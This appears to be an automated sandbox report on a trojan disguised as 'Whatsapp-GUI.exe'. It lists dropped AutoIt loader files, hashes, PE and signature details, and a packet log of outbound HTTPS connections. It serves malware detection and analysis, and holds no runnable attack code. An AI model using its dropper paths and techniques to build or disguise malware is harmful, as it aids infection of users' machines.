Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Agreement for Cooperation.PDF.lnk.download.lnk, Detection: malicious, Browse Filename: malware.zip, Detection: malicious, Browse Filename: Dark_drop_2_pers_lum_clean.exe.bin.exe, Detection: malicious, Browse Filename: Agreement for YouTube cooperation.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: 3rd_cc_form_Oct_2024.pdf.lnk.download.lnk, Detection: malicious, Browse Filename: tQ6Z4Vjp5f.lnk, Detection: malicious, Browse Filename: doc-Impostos.cmd, Detection: malicious, Browse Filename: AlBXxWizEX.msi, Detection: malicious, Browse Filename: dp36srsOd2.exe, Detection: malicious, Browse Filename: dp36srsOd2.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\Updater\script.a3x

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	data
Category:	dropped
Size (bytes):	596624
Entropy (8bit):	7.029606283483804
Encrypted:	false
SSDEEP:	12288:I5ar/5ar6gxOhHcM7hsYpzKiQhabk/RTTzcY886Wa:I5ar/5ar/8RcMlsYlKiURTPf6F
MD5:	3E44FEF10A982713ADB597DF2B72C27F
SHA1:	A0A12D6BC2D26267A6041344756B8621E02E1543
SHA-256:	F2F20D4232DA128F7DEDC0EDF844A92A3E3F6C8A997FAB47777A396B0B4A5F53
SHA-512:	55BBA6E5EF5DE02E46051A0DDD6B08F34D30C514FDA40C80A88519E0B64B5987F662CB3175893E1B2660D500B42EEA8A31A79AC7414F281DC159631EBDD46726
Malicious:	false
Preview:	Y p...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Y p.....................................

C:\ProgramData\bfadeeb\Autoit3.exe

Download File

Process:	C:\ProgramData\Updater\UpdaterService.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\bfadeeb\deddfcf

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9625983186791407
Encrypted:	false
SSDEEP:	3:Qh9eolFl+rlpPYn:Q7eY+on
MD5:	97CD19F594505EE16900B062D5A34501
SHA1:	E85A6B0707D76F847D73EFA0F71A41AB68A9BA73
SHA-256:	444E4EB57A19CCE3389B6D050B6F4F8A3C9E3243D57D6D9D59A61406D3AA3448
SHA-512:	6BE3957942B88CDD5C3EDF018038BD4B949F7159299A4708D09141AE0DD1461FE23ADC59BB567CCAE71A9FA6A858AD9DDF756E34F36F13BC490B5B4D837922AE
Malicious:	false
Preview:	..D.o.m.a.i.n. . .....b.Y.U.p.L. . . .....

C:\ProgramData\bfadeeb\ehehhkh

Download File

Process:	C:\ProgramData\bfadeeb\Autoit3.exe
File Type:	data
Category:	dropped
Size (bytes):	1069
Entropy (8bit):	4.433198979285479
Encrypted:	false
SSDEEP:	6:vJL64d0diL64lruXj+5RECdQzOgFGZftNNfOH3llArurwJcdNb22UHNK+Q8hRK2t:vJG4Q4tuK/zWzOFNfOH3qwwJUEY+zhtR
MD5:	E9538014686E73250AC253041BED24AF
SHA1:	0DBE0037D425C7DF28E2681D9E11F3353E79E85C
SHA-256:	F6BCB095C6EE365725799C15C3AA72DEB19C7CA879E2E05A551295F098B8B6DC
SHA-512:	47C58883627343E329927522BADF581B136C1F20734A9E1D9D079994CA3D2A577FF5A2AA55A67C7DE5FC816C8B9567CE6D0AD395BBF34EC119D4D28B38A7519B
Malicious:	false
Preview:	....5..tMjhgNnjgMirqO#QC9...4bm~OkmpLhjqqUltMjhgNnjgMirqO#QCDb.&qUmxA.4(.,=9..,%.85'\:.;.-QCMma...(.I.....0.....H/.9L.mp5...=,.:1.?DvnotJRVxHb.,.RVxIbdyqUmt%:/Dvlnt20QCOb.&qUht20QCMgaxLoQCJb.&qUkt20QCMfa}LfjDvja..RV{Mb.&qUnzA.9:qUoxA.3Dvmit.5=.62,LnopIRV{Jb.&qUn~A.%.&.5..RV{Db.&qUnpAmQCOja..RV=.=0(A,7>-/9..1.i.m.0T%1.D...2h5.6.....m!U5-.'b(2..iyOi.?.>hgE..4.9z.V.&).xe=.~..RV).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<).?<)

C:\ProgramData\bfadeeb\fhdgaef.a3x

Download File

Process:	C:\ProgramData\Updater\UpdaterService.exe
File Type:	data
Category:	dropped
Size (bytes):	596624
Entropy (8bit):	7.029606283483804
Encrypted:	false
SSDEEP:	12288:I5ar/5ar6gxOhHcM7hsYpzKiQhabk/RTTzcY886Wa:I5ar/5ar/8RcMlsYlKiURTPf6F
MD5:	3E44FEF10A982713ADB597DF2B72C27F
SHA1:	A0A12D6BC2D26267A6041344756B8621E02E1543
SHA-256:	F2F20D4232DA128F7DEDC0EDF844A92A3E3F6C8A997FAB47777A396B0B4A5F53
SHA-512:	55BBA6E5EF5DE02E46051A0DDD6B08F34D30C514FDA40C80A88519E0B64B5987F662CB3175893E1B2660D500B42EEA8A31A79AC7414F281DC159631EBDD46726
Malicious:	false
Preview:	Y p...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Y p.....................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Whatsapp-GUI.exe.log

Download File

Process:	C:\Users\user\Desktop\Whatsapp-GUI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1533
Entropy (8bit):	5.35484997790683
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4q4E4TybE4K+E4Ks:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0H8
MD5:	96735776E43AE2A19D709C4B9997A0E1
SHA1:	B17AF3C37E3B19AF8C620F3B5ED8D7E55B8A89C7
SHA-256:	48EE6F035AE3B4462E8FDE5B12B2306101072C69041E0DFD32C1CF362EA82473
SHA-512:	052B4E082FDEA9EF6FC5666EC9F8451F5663587A177252B29FBE4E623A00355FE40BD102C3ACD825EC87FF323342C6A459E5A638D10A27BA1D38A12B69A306B3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Roaming\bDceehE

Download File

Process:	C:\ProgramData\Updater\UpdaterService.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	32
Entropy (8bit):	3.667837797403416
Encrypted:	false
SSDEEP:	3:cNAYG3bN2d:cSYG3bk
MD5:	F36E6F1C4D5327ABB557D50B786B69FA
SHA1:	CA0F8692B1EA4DC45B237CE76E6C8F77E726AA0E
SHA-256:	26604186AD46D8920D81979AA6AAC6EF01D71B84494767B504103D245920B62D
SHA-512:	665C1C1EBD0781F6050F6BB4B86591222267EBDACB2D914F52167AA6729D17E98FA7BE51D902942E456C1D5BF4ABC785EEF7F9E3DAFE7759BBC00B1B4D9AFC1E
Malicious:	false
Preview:	FChaDKbHeECAcDDHdGFcGaeHhKhHaHcA

C:\temp\afehcbc

Download File

Process:	C:\ProgramData\Updater\UpdaterService.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:Vn:V
MD5:	14163F17CA491BBDDFF71FF9F9DF0E9E
SHA1:	7A1A1DB5BEEBFA5AED1F3EA437ADE38F076A4851
SHA-256:	01C62AD61D114E1C4B3BF53BE2F9474D001A9C8CD19D6EB5D6540CC3FD3B9DD1
SHA-512:	6F14D94CFFF9BEAD02AF93A4DD06B0BD75D48D93616F694E0512AAC1A567FDF0B7AA656A345F8F549633B60FB70FC9A7FF22A33344B769AB713BBF87323247B5
Malicious:	false
Preview:	bhka

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.792408761328189
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Whatsapp-GUI.exe
File size:	285'584 bytes
MD5:	8c3ef2eba970f543f0ebe6dced908402
SHA1:	431157eaf15244e5d8cc167511b4611f4dfae85c
SHA256:	9e4f036dd6fbb45ce414cb5d040b3255b5ccc9ecacbfaf022b631545f9a19a02
SHA512:	fd0e2b2539ad4a0d587ba0059653d82e2bf4aadf37ca5a097b60fc0658aa1b3850bb589ee1cc0d5c39bfc574beaa4d56eea6a32f57407bfee21b2f306c737680
SSDEEP:	3072:FUbtVKuFEC34/8yBV+VKuFJC34GtmANWJ/j3:FUb/KVKq8NKmKntZWJT
TLSH:	67546795A720D91EC8A7473ACC73EA522F63FC185555932E02987625BD313A30ADB3CF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....b............"...0..N...........l... ........@.. ...............................{....`................................

File Icon


Icon Hash:	0f458aa8a2466a94

Static PE Info

General

Entrypoint:	0x426cfa
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x8CE2628A [Fri Nov 25 00:30:02 2044 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	14/11/2024 21:33:14 15/11/2025 21:33:14
Subject Chain	E=phandinhtrinh1981@gmail.com, CN=XUAN THANH CEMENT JOINT STOCK COMPANY, O=XUAN THANH CEMENT JOINT STOCK COMPANY, STREET="Thon Bong Lang, Xa Thanh Nghi, Huyen Thanh Liem", L=Ha Nam, S=Ha Nam, C=VN, OID.1.3.6.1.4.1.311.60.2.1.2=Ha Nam, OID.1.3.6.1.4.1.311.60.2.1.3=VN, SERIALNUMBER=0700576529, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	74B2851393952520C30CF0295244CF71
Thumbprint SHA-1:	D2BA1F548EB15270386A9D203FCA3A0379A09913
Thumbprint SHA-256:	710F4AF0801AD3EAEF2B61D2968A7A3CF88529B5809C196E53EA4D3F859AEE5F
Serial:	34F3E42F122C45100811225D

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26ca8	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x28000	0x1df50	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x43200	0x2990	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x46000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x26c08	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x24d00	0x24e00	b7e91f7f5fba5c73c9fa3553c78ff014	False	0.405078125	data	5.910523944300644	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x28000	0x1df50	0x1e000	db3efc795b1196fa8ddb072e4d311c1e	False	0.3109049479166667	data	5.385303443820913	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46000	0xc	0x200	6b52c467ee740ef05e82ec8fa718880d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x281a0	0x5267	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9963498459350557
RT_ICON	0x2d418	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.12329942032414527
RT_ICON	0x3dc50	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.20707368918280586
RT_ICON	0x41e88	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.2730290456431535
RT_ICON	0x44440	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.3602251407129456
RT_ICON	0x454f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.5771276595744681
RT_GROUP_ICON	0x45970	0x5a	data	0.7666666666666667
RT_VERSION	0x459dc	0x374	data	0.4264705882352941
RT_MANIFEST	0x45d60	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 21:39:04.745935917 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:04.746023893 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:04.746136904 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:04.760206938 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:04.760226011 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:06.191504955 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:06.191606045 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:06.202238083 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:06.202281952 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:06.202661037 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:06.245974064 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:06.281029940 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:06.323369980 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:07.225760937 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:07.225863934 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:07.225883961 CET	443	49735	162.125.69.18	192.168.2.4
Dec 14, 2024 21:39:07.225938082 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:07.235364914 CET	49735	443	192.168.2.4	162.125.69.18
Dec 14, 2024 21:39:07.757560968 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:07.757599115 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:07.757689953 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:07.758131027 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:07.758151054 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:09.220186949 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:09.220259905 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:09.220273018 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:09.220315933 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:09.223566055 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:09.223572016 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:09.223974943 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:09.225526094 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:09.267360926 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.046282053 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.106534004 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.172976971 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173002005 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173171997 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173223019 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173264027 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173276901 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.173311949 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.173350096 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.173350096 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.173453093 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.348086119 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.348146915 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.348267078 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.348285913 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.348346949 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.348545074 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.413435936 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.413485050 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.413541079 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.413553953 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.413650036 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.413680077 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.463815928 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.463860989 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.463913918 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.463927031 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.464019060 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.464020014 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.543456078 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.543520927 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.543585062 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.543597937 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.543661118 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.543910980 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.581129074 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.581171989 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.581341028 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.581341028 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.581357956 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.585395098 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.614017963 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.614058971 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.614209890 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.614209890 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.614224911 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.617444992 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.634972095 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.635014057 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.635113955 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.635124922 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.635158062 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.635217905 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.656233072 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.656277895 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.656310081 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.656325102 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.656373024 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.656411886 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.696181059 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.696224928 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.696459055 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.696459055 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.696470976 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.696583986 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.716058969 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.716103077 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.716231108 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.716239929 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.716288090 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.716368914 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.735593081 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.735652924 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.735735893 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.735743999 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.735770941 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.735861063 CET	49737	443	192.168.2.4	162.125.69.15
Dec 14, 2024 21:39:10.753078938 CET	443	49737	162.125.69.15	192.168.2.4
Dec 14, 2024 21:39:10.753119946 CET	443	49737	162.125.69.15	192.168.2.4
